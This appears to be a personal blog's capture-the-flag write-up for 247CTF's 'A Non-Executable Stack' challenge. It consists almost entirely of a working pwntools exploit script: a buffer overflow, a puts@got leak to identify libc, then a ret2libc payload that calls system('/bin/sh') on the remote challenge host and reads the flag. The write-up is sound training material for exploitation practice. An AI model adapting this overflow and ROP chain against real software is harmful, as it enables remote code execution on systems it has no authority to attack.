CREATIVE CHAOS   ▋ blog

A Non-Executable Stack (pwn)

PUBLISHED ON 24/04/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

Intro

There are no hidden flag functions in this binary. Can you make your own without executing from the stack?

Exploit


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./executable_stack --host 1a892a34ee15e655.247ctf.com --port 50431
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./non_executable_stack')
rop = ROP(exe)
#libc = ELF('libc.so.6')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
# tcp://fd16264e0ec19783.247ctf.com:50484
host = args.HOST or '4c05abe36efc569e.247ctf.com'
port = int(args.PORT or 50034)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
break *0x8048410
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-4-of-5-6fc5779d51fa

io = start()


# password - it was not important
# admin 123


# Buffer for EIP via msf-pattern
buff = 'A' * 44


# STAGE 1 leak puts

# Payload 1 creation
log.info('Payload format: [44 bytes buffer] + [puts() addr] + [main() addr] + [puts@got]')
payload = buff
payload += p32(exe.plt['puts'])
payload += p32(exe.symbols['main'])
payload += p32(exe.got['puts'])

print (io.recvline())
log.info('Sending stage 1 payload.')
io.sendline(payload)
print (io.recvline())

puts_leak = u32(io.recvline()[:4])
log.info('Puts leak: {}'.format(hex(puts_leak)))

# https://libc.blukat.me/?q=puts%3A0xf7e1a360
# Query: puts leak + memory address

# We know now which libc is used, if not exact leak another function
# libc6-i386_2.27-3ubuntu1_amd64

# Download it:
# wget https://libc.blukat.me/d/libc6-i386_2.27-3ubuntu1_amd64.so

# STAGE 2

# Now we can define libc:
libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')


puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
binsh_offset = next(libc.search('/bin/sh\x00'))


libc_base = puts_leak - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset

log.info('Formula to compute the addresses we need:')
log.info('libc_base = puts_leak - puts_offset')
log.info('system_address = libc_base + system_offset')
log.info('bin_sh_address = libc_base + bin_sh_offset')
log.info('libc base: {}'.format(hex(libc_base)))
log.info('system() addr: {}'.format(hex(system_addr)))
log.info('/bin/sh addr: {}'.format(hex(binsh_addr)))


# [*] libc base: 0xf7dcb000
# [*] system() addr: 0xf7e07d10
# [*] /bin/sh addr: 0xf7f468cf

# Buffer is the same here, but it could be different, run the exploit on
# local file crash it again with pattern and check where it crashed
# with "gdb -q ./non_executable_stack core"
# Then recalculate the offset if needed


log.info('Payload format: [44 bytes buffer] + [system() addr] + [4 bytes garbage] + [/bin/sh addr]')
payload = buff
payload += p32(system_addr)
payload += p32(exit_addr)
payload += p32(binsh_addr)
log.info('Sending stage 2 payload.')
io.sendline(payload)
log.info('Enjoy your shell! :)')

io.interactive()

# ls
# cat flag_86283925153a4054.txt

See Also